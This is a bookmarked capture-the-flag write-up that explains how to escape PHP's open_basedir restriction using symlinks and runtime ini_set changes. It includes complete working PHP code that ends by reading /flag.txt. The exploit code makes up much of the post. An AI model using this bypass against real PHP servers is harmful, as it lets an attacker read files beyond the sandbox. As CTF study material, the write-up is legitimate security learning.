776 links
  • Shared Bookmarks
  • Home
  • Login
  • RSS Feed
  • ATOM Feed
  • Tag cloud
  • Picture wall
  • Daily
Links per page: 20 50 100
  • 52.0.228.201/writeup.txt

    This challenge was about bypassing PHP open_basedir when having a restricted arbitrary PHP code execution. Most of commons functions to execute commands were blocked.

    The initial solution that was intended used the following facts :

    • open_basedir can be tampered at runtime with ini_set, but is restricted by open_basedir itself (in other words, we should only be able to harden the existing rule)
    • open_basedir on symlink is working
    • call ini_set for open_basedir checks are only done at the time of changing the rule; the file system can change then

    That means that we can point open_basedir to a regular file under /tmp/, and then switch it to a symlink pointing to ../../../../[...] - but to create such a symlink, we need to create an arborescence that allows do to so without breaching the rule :

    chdir('/tmp');
    $x='';
    for($i=0;$i<10;$i++){
    mkdir('z');
    chdir('z');
    $x.='../';
    }
    symlink($x,'x');
    symlink($x,'y');
    ini_set('open_basedir','x:y:/tmp/x');
    rename('x',$x.'/x');
    chdir('y');
    chdir('x');
    ini_set('open_basedir','/:/tmp/z');
    echo file_get_contents('/flag.txt');

    Congratz to every solvers!
    Blaklis

    September 26, 2024 at 8:39:29 AM UTC * - permalink -
    QRCode
    - http://52.0.228.201/writeup.txt
    php bypass open_basedir ctf
Links per page: 20 50 100
Shaarli - The personal, minimalist, super fast, database-free, bookmarking service by the Shaarli community - Help/documentation